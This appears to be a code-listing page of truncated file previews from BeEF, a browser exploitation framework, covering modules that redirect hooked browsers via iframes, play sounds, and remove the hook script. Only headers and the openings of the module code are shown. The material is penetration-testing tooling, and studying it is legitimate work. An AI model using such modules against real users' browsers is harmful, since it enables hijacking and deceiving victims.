# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Site_redirect < BeEF::Core::Command def self.options [ { 'ui_label' => 'Redirect URL', 'name' => 'redirect_url', 'descript...
JavaScript
beef/modules/browser/hooked_domain/site_redirect_iframe/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = 'Iframe successfully created!'; var title = '<%= @iframe_title %>'; var iframe_src = '<%= @i...
YAML
beef/modules/browser/hooked_domain/site_redirect_iframe/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: site_redirect_iframe: enable: true category: ["Browser", "Hooked Domain"] name...
Ruby
beef/modules/browser/hooked_domain/site_redirect_iframe/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Site_redirect_iframe < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @con...
JavaScript
beef/modules/browser/play_sound/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = "<%== @sound_file_uri %>"; try { var sound = new Audio(url); sound.play(); beef.d...
YAML
beef/modules/browser/play_sound/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Play_sound: enable: true category: "Browser" name: "Play Sound" de...
Ruby
beef/modules/browser/play_sound/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Play_sound < BeEF::Core::Command def self.options [{ 'name' => 'sound_file_uri', 'description' => 'The web accessibl...
JavaScript
beef/modules/browser/remove_hook_element/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { /** * Removes the BeEF hook.js * @return: true if the hook.js script is removed from the DOM */ var ...
YAML
beef/modules/browser/remove_hook_element/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: remove_hook_element: enable: true category: "Browser" name: "Remove Hook Eleme...
Ruby
beef/modules/browser/remove_hook_element/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Remove_hook_element < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @dat...